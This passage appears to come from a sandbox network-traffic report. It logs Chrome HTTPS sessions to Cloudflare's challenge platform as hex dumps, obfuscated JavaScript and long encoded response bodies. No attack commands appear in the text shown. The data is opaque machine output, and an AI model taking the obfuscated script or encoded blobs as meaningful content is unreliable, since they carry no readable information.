continue;case'3':C[hQ(177)](o,x,!![]);continue;case'4':C[hQ(1073)]=2500;continue;case'5':C[hQ(157)](j[hQ(624)]('v_',eM[hQ(1243)][hQ(484)])+'='+s);continue;case'6':x=j[hQ(808)](j[hQ(1036)]+D,j[hQ(597)])+1+hQ(1388)+eM[hQ(1243)][hQ(484)]+'/'+eM[hQ(1243)][hQ(
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 5b 68 52 28 31 32 31 32 29 5d 28 6a 29 2c 2d 31 29 29 65 4d 5b 68 52 28 35 37 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 53 29 7b 68 53 3d 68 52 2c 65 4d 5b 68 53 28 32 38 37 29 5d 28 29 7d 2c 31 65 33 29 3b 65 6c 73 65 20 69 66 28 68 52 28 35 38 32 29 21 3d 3d 68 5b 68 52 28 34 32 35 29 5d 29 6b 3d 5b 68 5b 68 52 28 34 39 36 29 5d 28 68 52 28 31 33 39 36 29 2c 63 29 2c 68 5b 68 52 28 34 39 36 29 5d 28 68 52 28 31 30 35 38 29 2c 64 29 2c 68 5b 68 52 28 31 31 32 34 29 5d 2b 65 2c 68 5b 68 52 28 34 39 36 29 5d 28 68 52 28 39 33 38 29 2c 66 29 2c 68 52 28 31 32 35 34 29 2b 4a 53 4f 4e 5b 68 52 28 32 37 39 29 5d 28 67 29 5d 5b 68 52 28 31 36 35 29 5d 28 68 5b 68 52 28 39 35 32 29 5d 29 2c 65 4d 5b 68 52 28 35 37 35 29 5d 28 66 75 6e 63 74 69 6f 6e 28 68 54 2c Data Ascii: [hR(1212)](j),-1))eM[hR(575)](function(hS){hS=hR,eM[hS(287)]()},1e3);else if(hR(582)!==h[hR(425)])k=[h[hR(496)](hR(1396),c),h[hR(496)](hR(1058),d),h[hR(1124)]+e,h[hR(496)](hR(938),f),hR(1254)+JSON[hR(279)](g)][hR(165)](h[hR(952)]),eM[hR(575)](function(hT,
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 4e 48 69 27 3a 69 4c 28 31 34 32 31 29 2c 27 48 4d 6a 69 52 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 2c 68 29 7b 72 65 74 75 72 6e 20 66 28 67 2c 68 29 7d 2c 27 57 45 48 41 55 27 3a 69 4c 28 31 33 32 38 29 2c 27 49 48 47 6c 44 27 3a 69 4c 28 39 36 35 29 2c 27 67 63 48 64 79 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 2c 27 6d 4b 45 71 4e 27 3a 69 4c 28 36 31 32 29 2c 27 71 66 52 45 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 7d 2c 65 3d 63 5b 69 4c 28 31 35 36 32 29 5d 2c 65 26 26 65 5b 69 4c 28 31 35 39 32 29 5d 3d 3d 3d 69 4c 28 31 31 30 34 29 26 26 65 5b 69 4c 28 37 34 32 29 5d 3d 3d 3d 64 5b 69 4c 28 37 34 34 29 5d 29 7b 69 66 28 64 5b 69 4c 28 31 35 38 36 29 5d 28 Data Ascii: NHi':iL(1421),'HMjiR':function(f,g,h){return f(g,h)},'WEHAU':iL(1328),'IHGlD':iL(965),'gcHdy':function(f,g){return f===g},'mKEqN':iL(612),'qfREL':function(f,g){return f(g)}},e=c[iL(1562)],e&&e[iL(1592)]===iL(1104)&&e[iL(742)]===d[iL(744)]){if(d[iL(1586)](
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 6a 73 3d 67 49 2c 67 3d 7b 7d 2c 67 5b 6a 73 28 32 32 33 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2b 73 7d 2c 67 5b 6a 73 28 36 38 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2d 73 7d 2c 67 5b 6a 73 28 31 34 36 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 73 26 6e 7d 2c 68 3d 67 2c 6d 2c 6a 3d 33 32 2c 6c 3d 68 5b 6a 73 28 32 32 33 29 5d 28 65 4d 5b 6a 73 28 31 32 34 33 29 5d 5b 6a 73 28 34 38 34 29 5d 2b 27 5f 27 2c 30 29 2c 6c 3d 6c 5b 6a 73 28 32 34 33 29 5d 28 2f 2e 2f 67 2c 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 2c 6a 74 29 7b 6a 74 3d 6a 73 2c 6a 5e 3d 6c 5b 6a 74 28 34 35 32 29 5d 28 73 29 7d 29 Data Ascii: ,g,h,i,j,k,l,m){for(js=gI,g={},g[js(223)]=function(n,s){return n+s},g[js(689)]=function(n,s){return n-s},g[js(1466)]=function(n,s){return s&n},h=g,m,j=32,l=h[js(223)](eM[js(1243)][js(484)]+'_',0),l=l[js(243)](/./g,function(n,s,jt){jt=js,j^=l[jt(452)](s)})
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 31 31 39 34 29 5d 28 69 2c 44 29 29 3f 73 28 69 2b 44 2c 45 29 3a 46 7c 7c 6f 5b 6a 79 28 36 30 38 29 5d 28 73 2c 69 2b 44 2c 68 5b 44 5d 29 29 3a 73 28 69 2b 44 2c 45 29 2c 43 2b 2b 29 3b 72 65 74 75 72 6e 20 6a 3b 66 75 6e 63 74 69 6f 6e 20 73 28 47 2c 48 2c 6a 78 2c 4a 29 7b 69 66 28 6a 78 3d 62 2c 6a 78 28 38 33 39 29 21 3d 3d 6a 78 28 39 34 33 29 29 4f 62 6a 65 63 74 5b 6a 78 28 31 32 39 35 29 5d 5b 6a 78 28 39 33 36 29 5d 5b 6a 78 28 33 33 39 29 5d 28 6a 2c 48 29 7c 7c 28 6a 5b 48 5d 3d 5b 5d 29 2c 6a 5b 48 5d 5b 6a 78 28 31 32 34 36 29 5d 28 47 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 20 4a 3d 6a 5b 6a 78 28 31 35 35 36 29 5d 28 6a 78 28 37 39 36 29 29 2c 44 26 26 28 4a 2e 69 64 3d 42 29 2c 45 26 26 4a 5b 6a 78 28 35 34 32 29 5d 5b 6a 78 28 31 30 39 Data Ascii: 1194)](i,D))?s(i+D,E):F\|\|o[jy(608)](s,i+D,h[D])):s(i+D,E),C++);return j;function s(G,H,jx,J){if(jx=b,jx(839)!==jx(943))Object[jx(1295)][jx(936)][jx(339)](j,H)\|\|(j[H]=[]),j[H][jx(1246)](G);else return J=j[jx(1556)](jx(796)),D&&(J.id=B),E&&J[jx(542)][jx(109
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 6e 20 69 26 68 7d 2c 27 4f 72 77 70 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 77 6f 5a 6b 4f 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6c 45 56 4d 5a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 50 4c 5a 45 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 4e 44 71 72 71 27 3a 6a 43 28 31 34 31 37 29 2c 27 43 71 6d 61 4c 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 3d 68 7d 2c 27 41 41 67 63 63 27 3a 6a 43 28 38 33 35 29 2c 27 6a 43 76 50 58 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 70 54 65 67 Data Ascii: n i&h},'Orwps':function(h,i){return i==h},'woZkO':function(h,i){return h(i)},'lEVMZ':function(h,i){return h==i},'PLZED':function(h,i){return h(i)},'NDqrq':jC(1417),'CqmaL':function(h,i){return i===h},'AAgcc':jC(835),'jCvPX':function(h,i){return i\|h},'pTeg
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 48 28 31 36 30 33 29 2c 50 29 29 3b 65 6c 73 65 20 69 66 28 4c 3d 69 5b 6a 48 28 35 36 38 29 5d 28 4b 29 2c 4f 62 6a 65 63 74 5b 6a 48 28 31 32 39 35 29 5d 5b 6a 48 28 39 33 36 29 5d 5b 6a 48 28 33 33 39 29 5d 28 42 2c 4c 29 7c 7c 28 42 5b 4c 5d 3d 46 2b 2b 2c 43 5b 4c 5d 3d 21 30 29 2c 4d 3d 64 5b 6a 48 28 31 34 35 35 29 5d 28 44 2c 4c 29 2c 4f 62 6a 65 63 74 5b 6a 48 28 31 32 39 35 29 5d 5b 6a 48 28 39 33 36 29 5d 5b 6a 48 28 33 33 39 29 5d 28 42 2c 4d 29 29 44 3d 4d 3b 65 6c 73 65 7b 69 66 28 4f 62 6a 65 63 74 5b 6a 48 28 31 32 39 35 29 5d 5b 6a 48 28 39 33 36 29 5d 5b 6a 48 28 33 33 39 29 5d 28 43 2c 44 29 29 7b 69 66 28 32 35 36 3e 44 5b 6a 48 28 34 35 32 29 5d 28 30 29 29 7b 66 6f 72 28 78 3d 30 3b 78 3c 47 3b 49 3c 3c 3d 31 2c 64 5b 6a 48 28 31 34 Data Ascii: H(1603),P));else if(L=i[jH(568)](K),Object[jH(1295)][jH(936)][jH(339)](B,L)\|\|(B[L]=F++,C[L]=!0),M=d[jH(1455)](D,L),Object[jH(1295)][jH(936)][jH(339)](B,M))D=M;else{if(Object[jH(1295)][jH(936)][jH(339)](C,D)){if(256>D[jH(452)](0)){for(x=0;x<G;I<<=1,d[jH(14

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49718	104.18.94.41	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-23 14:21:15 UTC	926	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1951288111:1724419459:8EAu7ulGDYQ-Xpuv-Cm2AsntVJVkYdoyTkwZrlqscxg/8b7bbf6dd949c43b/76b287cdb3503ee HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 2837 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: 76b287cdb3503ee sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/pgbyu/0x4AAAAAAAhkfK1nz8jjG-wE/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-23 14:21:15 UTC	2837	OUT	Data Raw: 76 5f 38 62 37 62 62 66 36 64 64 39 34 39 63 34 33 62 3d 42 65 47 4c 52 4c 6b 4c 43 4c 69 4c 4a 4c 54 63 50 6c 63 50 34 74 24 34 24 69 55 53 24 55 50 24 74 4b 69 25 32 62 24 58 4b 50 64 63 50 24 2b 34 50 49 50 6e 61 50 64 34 37 38 4b 24 79 50 55 4c 41 48 75 38 50 34 4c 6b 57 50 54 7a 6e 6e 66 79 62 50 75 32 50 66 50 4b 32 41 51 35 50 50 5a 37 50 35 63 39 7a 24 63 50 64 74 32 33 65 50 4b 65 24 6a 47 71 77 38 24 64 48 4c 55 32 45 62 4b 6e 30 73 34 74 6b 39 39 5a 69 47 50 31 55 68 51 51 36 4e 57 49 2b 62 50 47 50 53 31 4c 50 2b 71 4b 71 75 72 48 37 54 6d 47 52 50 75 34 50 47 63 4a 4c 52 4c 41 36 58 6b 4c 50 4b 56 47 71 4a 41 7a 50 68 4c 24 36 50 55 47 4f 4b 2b 37 50 59 71 4b 38 50 57 65 50 79 71 4b 2b 47 7a 73 50 64 67 41 48 42 61 74 38 66 38 50 59 32 76 75 Data Ascii: v_8b7bbf6dd949c43b=BeGLRLkLCLiLJLTcPlcP4t$4$iUS$UP$tKi%2b$XKPdcP$+4PIPnaPd478K$yPULAHu8P4LkWPTznnfybPu2PfPK2AQ5PPZ7P5c9z$cPdt23ePKe$jGqw8$dHLU2EbKn0s4tk99ZiGP1UhQQ6NWI+bPGPS1LP+qKqurH7TmGRPu4PGcJLRLA6XkLPKVGqJAzPhL$6PUGOK+7PYqK8PWePyqK+GzsPdgAHBat8f8PY2vu
2024-08-23 14:21:15 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 23 Aug 2024 14:21:15 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 151392 Connection: close cf-chl-gen: cHApxFgXnyW7dBtTFcNC2IR9TUOUEsseBe5EfhqxSmZesIImALBOtInrbqEkiHFXOrzK5Bj7zaxOk4ay1UdYHwuu5R83O9VKh6aatuS1hMOfZKrlOM4EUCVvwf92eYAxVB1vDHUUkilEYOAvl6ZXZ7VTXfDPXLZl5wIteKO+I9pJBHNhs0DAPTqppM9XazJvkl8rIS/jVu2jiEuhpyantStgr3h/YbI5q2A0E6vVimIs3GJNZD6ZGjkW7Tx1U5bWQnQTtHgseCEJSmSHEJAy+6m6elUUfApj9nY69p7Nnl2kT2C0oX55jhuWdELkZIM4B3bL0I52X1yxGDkpM/5uOhO67R1aLj6FxUtOfN3O9fu0H6r2iextnSS7lo5xnPQWmOuANjt04SoIpxrwO3BzezzQNknwbho3ad+ZmoZ2mvoLyCksm1rDc7L/y28vh9dBq36QWBJTxjGKPwczEWCjPrGnYZWpE3dNU0ES3Lg2e4801mk=$TK1p97BzJHD0dQvI Server: cloudflare CF-RAY: 8b7bbf7baa904232-EWR alt-svc: h3=":443"; ma=86400
2024-08-23 14:21:15 UTC	622	IN	Data Raw: 74 6e 69 4f 6b 58 64 35 72 35 57 77 66 34 36 6b 66 63 43 52 77 73 6d 66 6d 73 57 56 6c 71 53 61 7a 4b 79 63 6b 72 37 58 6a 74 57 75 70 4e 47 55 74 4c 79 2f 76 4d 4c 59 73 37 4f 32 73 4d 50 58 74 4d 48 41 71 75 37 58 76 61 36 71 79 74 4c 79 71 38 72 53 77 37 58 4f 36 4d 6a 30 76 4c 45 43 34 4d 4c 51 38 39 77 49 30 64 4c 34 32 50 36 2b 39 65 33 4c 7a 67 41 48 30 68 55 47 45 77 37 68 45 65 77 55 32 68 76 73 46 64 72 34 46 77 45 42 2b 79 58 6d 41 77 41 70 36 76 7a 34 2b 53 6f 45 41 76 77 4e 44 65 38 67 4b 50 44 32 4e 2f 6b 36 37 7a 76 39 51 50 34 56 50 79 51 34 50 68 31 49 49 6a 59 65 47 6b 39 48 52 56 45 52 56 42 39 50 45 54 41 35 56 6b 63 53 4b 42 59 30 4f 7a 6b 73 4e 31 45 66 49 6a 78 6f 52 6a 4d 71 53 43 63 6f 58 47 46 45 4f 55 4e 77 54 69 38 2f 64 7a 46 Data Ascii: tniOkXd5r5Wwf46kfcCRwsmfmsWVlqSazKyckr7XjtWupNGUtLy/vMLYs7O2sMPXtMHAqu7Xva6qytLyq8rSw7XO6Mj0vLEC4MLQ89wI0dL42P6+9e3LzgAH0hUGEw7hEewU2hvsFdr4FwEB+yXmAwAp6vz4+SoEAvwNDe8gKPD2N/k67zv9QP4VPyQ4Ph1IIjYeGk9HRVERVB9PETA5VkcSKBY0OzksN1EfIjxoRjMqSCcoXGFEOUNwTi8/dzF
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 39 4b 67 55 4b 51 65 6f 46 6f 66 5a 52 6d 57 4a 47 56 6d 49 6d 48 5a 6c 47 4d 69 6f 46 72 57 71 5a 6d 59 4a 53 70 5a 5a 4f 66 71 58 78 35 67 6f 32 6c 68 49 61 44 6b 57 6d 35 67 35 71 62 68 4a 6d 55 64 5a 4c 41 6d 70 57 4d 65 35 2b 7a 74 73 4f 71 78 34 76 4c 6d 70 7a 4f 6d 5a 75 73 30 71 79 57 70 71 4c 50 32 61 2b 58 6c 35 43 73 6e 74 43 74 73 61 2f 45 76 39 57 34 79 72 66 42 35 62 7a 45 77 61 72 47 30 64 54 31 7a 64 44 4e 74 37 48 58 30 37 7a 75 37 74 71 2f 32 74 66 2b 41 77 44 59 76 66 66 45 34 74 66 72 2f 41 2f 68 45 67 51 50 35 75 54 6a 38 42 67 54 46 2b 7a 36 46 76 37 38 38 69 4c 54 39 2b 77 53 2f 69 48 32 4b 41 63 63 2f 51 67 6e 41 53 33 75 43 44 4c 74 48 79 54 2b 4b 66 51 75 43 75 30 70 2b 66 41 4c 51 43 77 67 4d 79 4e 48 49 30 56 42 41 78 34 4d 53 Data Ascii: 9KgUKQeoFofZRmWJGVmImHZlGMioFrWqZmYJSpZZOfqXx5go2lhIaDkWm5g5qbhJmUdZLAmpWMe5+ztsOqx4vLmpzOmZus0qyWpqLP2a+Xl5CsntCtsa/Ev9W4yrfB5bzEwarG0dT1zdDNt7HX07zu7tq/2tf+AwDYvffE4tfr/A/hEgQP5uTj8BgTF+z6Fv788iLT9+wS/iH2KAcc/QgnAS3uCDLtHyT+KfQuCu0p+fALQCwgMyNHI0VBAx4MS
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 6b 54 70 52 71 6a 6d 74 31 55 6f 5a 35 6c 48 56 61 6c 5a 65 4d 6b 31 39 76 6f 4a 65 42 70 6f 4e 2b 67 71 75 63 72 49 4f 73 72 72 4f 71 6b 33 46 77 65 4a 61 62 6a 58 74 35 6c 4a 71 2f 75 63 44 45 74 38 47 61 6e 4b 6d 37 6d 63 75 36 77 6f 66 4d 71 4d 47 70 73 4d 47 52 73 4a 6a 5a 31 62 69 75 76 5a 76 61 79 61 2f 69 72 39 2b 37 74 64 58 56 36 63 48 67 72 4d 7a 62 38 4f 79 76 32 36 75 30 71 39 66 34 74 37 54 6e 73 2f 50 35 36 62 62 4b 36 63 2f 72 41 50 36 2f 32 39 72 5a 31 65 6f 4f 78 2b 66 39 79 73 63 4f 30 65 72 78 45 4e 58 72 34 76 6a 33 35 2f 33 57 2f 66 33 5a 39 67 4d 4f 46 42 73 54 46 78 73 6e 39 67 59 64 4d 42 73 78 45 69 49 4b 45 41 49 30 39 67 6a 33 43 7a 6b 32 2b 7a 55 49 50 78 6b 35 44 54 4c 37 2b 41 55 31 51 42 63 43 2f 6b 63 47 49 55 34 74 53 52 Data Ascii: kTpRqjmt1UoZ5lHValZeMk19voJeBpoN+gqucrIOsrrOqk3FweJabjXt5lJq/ucDEt8GanKm7mcu6wofMqMGpsMGRsJjZ1biuvZvaya/ir9+7tdXV6cHgrMzb8Oyv26u0q9f4t7Tns/P56bbK6c/rAP6/29rZ1eoOx+f9yscO0erxENXr4vj35/3W/f3Z9gMOFBsTFxsn9gYdMBsxEiIKEAI09gj3Czk2+zUIPxk5DTL7+AU1QBcC/kcGIU4tSR
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 66 47 39 78 68 6d 36 42 65 32 4b 55 62 35 43 56 59 70 2b 4b 66 33 35 72 64 36 5a 6c 69 58 2b 49 6d 35 4f 42 70 35 4f 49 73 35 43 45 69 72 4f 77 69 33 6e 41 6e 71 4b 33 67 5a 36 6a 75 36 4f 70 76 62 6d 71 71 63 36 74 6f 63 61 7a 71 36 65 72 32 4d 75 57 7a 62 57 72 75 72 75 31 34 61 72 4c 77 62 47 34 72 74 37 69 34 4f 4c 67 75 37 58 46 75 36 2f 41 30 65 72 53 72 75 72 6c 73 4e 72 53 30 4f 33 4f 31 65 6e 31 7a 76 59 44 37 41 50 56 2b 75 6a 66 32 4d 6a 64 37 51 6e 73 36 41 50 38 34 4e 54 6f 44 41 7a 4f 39 65 55 52 32 68 72 64 47 77 72 61 33 77 55 62 37 52 6b 5a 39 79 49 44 36 68 55 67 47 42 34 79 48 50 44 6c 41 42 49 48 39 7a 41 45 4c 51 51 53 46 52 72 33 50 42 59 32 2b 30 45 64 4d 41 4d 66 48 53 51 57 54 53 78 43 50 68 6c 4d 51 6b 49 6a 53 69 52 48 49 6c 59 Data Ascii: fG9xhm6Be2KUb5CVYp+Kf35rd6ZliX+Im5OBp5OIs5CEirOwi3nAnqK3gZ6ju6Opvbmqqc6tocazq6er2MuWzbWruru14arLwbG4rt7i4OLgu7XFu6/A0erSrurlsNrS0O3O1en1zvYD7APV+ujf2Mjd7Qns6AP84NToDAzO9eUR2hrdGwra3wUb7RkZ9yID6hUgGB4yHPDlABIH9zAELQQSFRr3PBY2+0EdMAMfHSQWTSxCPhlMQkIjSiRHIlY
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 59 4e 69 6d 48 53 6d 69 48 57 68 6e 70 71 4a 70 47 70 36 6e 57 79 44 63 71 69 4a 63 59 57 4f 73 59 53 38 6e 61 65 34 6e 71 43 32 6a 49 2b 64 6b 4b 50 45 76 73 69 6a 77 35 36 49 7a 36 65 35 70 63 44 4f 76 6f 36 76 7a 36 66 43 70 38 2f 4e 33 61 79 65 72 72 50 53 6f 36 7a 65 6e 5a 2b 6c 79 73 48 6a 71 2b 53 75 76 36 36 39 36 64 43 7a 7a 74 37 6a 30 63 6e 73 32 4d 76 62 78 2b 44 79 39 63 33 74 76 4e 7a 2b 2b 2f 76 78 35 67 54 33 35 38 67 4b 44 4f 51 48 7a 65 72 77 7a 38 6e 30 36 64 58 6c 46 4e 67 59 43 39 38 65 34 68 66 2b 49 77 51 6f 35 4f 50 70 4b 78 37 66 43 65 30 4f 47 67 54 6c 2f 67 55 32 38 77 50 79 4a 54 41 2b 4e 43 6f 68 4b 68 68 43 2f 51 51 30 44 7a 6f 71 50 68 6f 4d 2f 67 6f 42 48 52 6f 38 4d 45 49 69 44 77 30 58 57 53 70 4c 52 56 70 59 58 30 6f 34 Data Ascii: YNimHSmiHWhnpqJpGp6nWyDcqiJcYWOsYS8nae4nqC2jI+dkKPEvsijw56Iz6e5pcDOvo6vz6fCp8/N3ayerrPSo6zenZ+lysHjq+Suv6696dCzzt7j0cns2Mvbx+Dy9c3tvNz++/vx5gT358gKDOQHzerwz8n06dXlFNgYC98e4hf+IwQo5OPpKx7fCe0OGgTl/gU28wPyJTA+NCohKhhC/QQ0DzoqPhoM/goBHRo8MEIiDw0XWSpLRVpYX0o4
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 53 44 6d 4a 2b 4e 68 34 32 6c 62 4b 47 6c 71 48 52 30 62 70 69 4c 75 4b 69 77 75 4b 35 35 75 72 6d 78 75 62 65 58 64 37 32 2f 68 36 4f 46 77 38 6d 63 7a 4b 4b 78 30 62 75 4c 6b 64 50 4c 72 61 37 46 79 4d 75 53 73 4c 61 65 32 70 7a 4e 7a 4c 4f 6c 6e 35 6e 5a 36 75 72 73 79 61 66 6a 34 62 75 73 73 65 44 6f 74 50 58 4a 36 74 62 47 30 71 37 64 39 74 48 63 31 62 54 61 76 74 72 76 32 65 50 34 41 2f 66 71 43 51 6e 38 79 73 30 4d 41 50 45 4a 79 41 54 6a 47 65 51 4a 36 76 33 65 39 43 45 51 4a 50 67 56 49 43 48 38 4b 41 6f 70 41 79 30 74 4a 76 6f 41 48 53 34 4c 2f 69 44 30 44 54 6b 6b 2b 68 45 73 39 50 63 53 51 6b 44 37 4c 44 50 33 45 54 49 6a 4b 6b 59 64 50 79 4a 44 49 30 4d 6d 54 53 77 76 4b 68 41 76 57 69 74 59 4c 46 41 57 4c 79 73 36 4d 6a 49 77 59 32 51 38 4d Data Ascii: SDmJ+Nh42lbKGlqHR0bpiLuKiwuK55urmxubeXd72/h6OFw8mczKKx0buLkdPLra7FyMuSsLae2pzNzLOln5nZ6ursyafj4busseDotPXJ6tbG0q7d9tHc1bTavtrv2eP4A/fqCQn8ys0MAPEJyATjGeQJ6v3e9CEQJPgVICH8KAopAy0tJvoAHS4L/iD0DTkk+hEs9PcSQkD7LDP3ETIjKkYdPyJDI0MmTSwvKhAvWitYLFAWLys6MjIwY2Q8M
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 6b 69 59 69 4a 67 61 56 77 69 71 53 73 63 4a 61 4f 71 35 57 38 63 58 6c 39 73 4a 69 59 76 71 61 46 6b 72 4f 53 70 49 62 49 78 36 47 75 69 6f 69 71 76 74 54 48 71 71 53 75 31 62 47 32 75 74 50 4e 71 74 47 35 32 73 4b 7a 75 75 47 2b 6d 38 72 63 72 4f 58 44 34 75 33 46 76 75 33 64 78 36 7a 78 79 38 76 55 39 72 72 36 79 63 65 36 41 4e 72 44 7a 4e 4c 6c 2b 37 2f 46 41 39 62 73 33 67 72 6a 79 64 41 52 38 76 41 51 36 75 62 78 2b 65 76 71 35 65 6e 35 36 78 50 62 2b 43 41 59 42 2f 6e 6d 42 41 6e 6c 35 2f 51 57 2b 68 45 76 37 4f 6e 2b 4a 67 6e 79 49 77 59 61 4d 2f 4d 53 2b 44 73 41 48 44 6f 67 4c 79 55 67 52 68 41 47 50 54 52 45 52 77 67 5a 53 53 6b 6f 55 42 49 52 44 7a 46 5a 4f 54 6b 75 4a 51 38 78 47 44 51 2b 51 7a 77 77 51 57 4a 68 49 31 4e 6d 4f 56 39 4e 59 6b Data Ascii: kiYiJgaVwiqSscJaOq5W8cXl9sJiYvqaFkrOSpIbIx6GuioiqvtTHqqSu1bG2utPNqtG52sKzuuG+m8rcrOXD4u3Fvu3dx6zxy8vU9rr6yce6ANrDzNLl+7/FA9bs3grjydAR8vAQ6ubx+evq5en56xPb+CAYB/nmBAnl5/QW+hEv7On+JgnyIwYaM/MS+DsAHDogLyUgRhAGPTRERwgZSSkoUBIRDzFZOTkuJQ8xGDQ+QzwwQWJhI1NmOV9NYk
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 64 49 70 77 71 4c 71 6f 64 4a 61 6d 76 4c 43 69 73 5a 53 32 6e 72 6d 69 6c 70 4b 35 6f 4c 7a 47 77 38 79 49 69 63 65 6a 30 36 37 46 74 38 79 69 71 62 61 70 75 71 32 38 72 63 75 34 73 4a 32 68 6f 37 57 30 78 61 72 43 33 73 58 72 33 4e 2b 38 79 65 66 55 30 65 44 66 73 73 6d 36 30 66 7a 7a 38 64 4c 63 32 64 44 56 30 4f 48 36 33 51 6e 33 41 39 34 4e 35 63 6a 6e 45 67 77 4b 2f 51 66 6b 35 67 62 6e 42 78 7a 53 31 66 63 57 37 65 6b 65 2b 68 58 69 48 77 6a 6c 4a 67 6b 73 35 76 34 6a 2b 75 45 76 43 76 6f 4d 49 69 76 74 36 66 59 46 4d 41 73 31 37 30 41 57 44 44 54 37 45 50 34 39 4a 43 4d 38 46 53 49 37 46 6b 55 39 54 7a 41 6f 52 30 5a 41 52 30 34 59 52 69 31 4e 52 55 74 4f 48 46 52 64 59 44 30 69 4e 78 78 54 50 52 73 2b 52 56 68 4d 50 69 6c 45 53 32 42 6d 4a 6b 78 Data Ascii: dIpwqLqodJamvLCisZS2nrmilpK5oLzGw8yIicej067Ft8yiqbapuq28rcu4sJ2ho7W0xarC3sXr3N+8yefU0eDfssm60fzz8dLc2dDV0OH63Qn3A94N5cjnEgwK/Qfk5gbnBxzS1fcW7eke+hXiHwjlJgks5v4j+uEvCvoMIivt6fYFMAs170AWDDT7EP49JCM8FSI7FkU9TzAoR0ZAR04YRi1NRUtOHFRdYD0iNxxTPRs+RVhMPilES2BmJkx
2024-08-23 14:21:15 UTC	1369	IN	Data Raw: 59 32 72 76 48 4b 59 6d 61 7a 42 6b 49 43 6f 6f 72 75 41 77 4a 65 74 79 36 6d 35 6e 4c 48 54 74 4c 32 76 79 4c 6e 46 73 63 71 59 70 37 7a 65 6d 4e 33 4b 6d 74 54 55 7a 37 75 30 76 37 54 56 70 37 65 36 32 64 43 36 34 4e 2f 55 76 72 48 6c 78 2b 54 35 31 4e 72 56 39 39 61 36 39 4c 7a 79 30 67 58 41 37 2b 50 61 76 50 72 39 44 4d 67 4b 43 50 76 6d 41 2f 50 78 47 4f 7a 30 38 66 48 74 48 52 58 71 39 50 73 52 37 67 37 75 35 51 63 45 4b 41 72 36 39 53 73 4f 43 42 41 4d 41 52 30 63 37 53 2f 73 39 41 6b 7a 39 76 66 79 4e 68 45 2f 48 6a 73 51 50 54 38 53 42 55 4d 2b 46 69 6b 59 51 43 73 47 4c 45 51 62 43 30 64 51 51 54 51 74 57 56 67 33 53 44 73 59 4d 6c 30 66 4e 47 4d 67 54 32 4e 49 58 79 67 79 4f 31 68 4d 50 45 59 6d 49 31 4e 42 53 7a 38 31 4e 31 4a 49 57 56 70 73 Data Ascii: Y2rvHKYmazBkICooruAwJety6m5nLHTtL2vyLnFscqYp7zemN3KmtTUz7u0v7TVp7e62dC64N/UvrHlx+T51NrV99a69Lzy0gXA7+PavPr9DMgKCPvmA/PxGOz08fHtHRXq9PsR7g7u5QcEKAr69SsOCBAMAR0c7S/s9Akz9vfyNhE/HjsQPT8SBUM+FikYQCsGLEQbC0dQQTQtWVg3SDsYMl0fNGMgT2NIXygyO1hMPEYmI1NBSz81N1JIWVps

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49719	162.241.24.35	443	7052	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
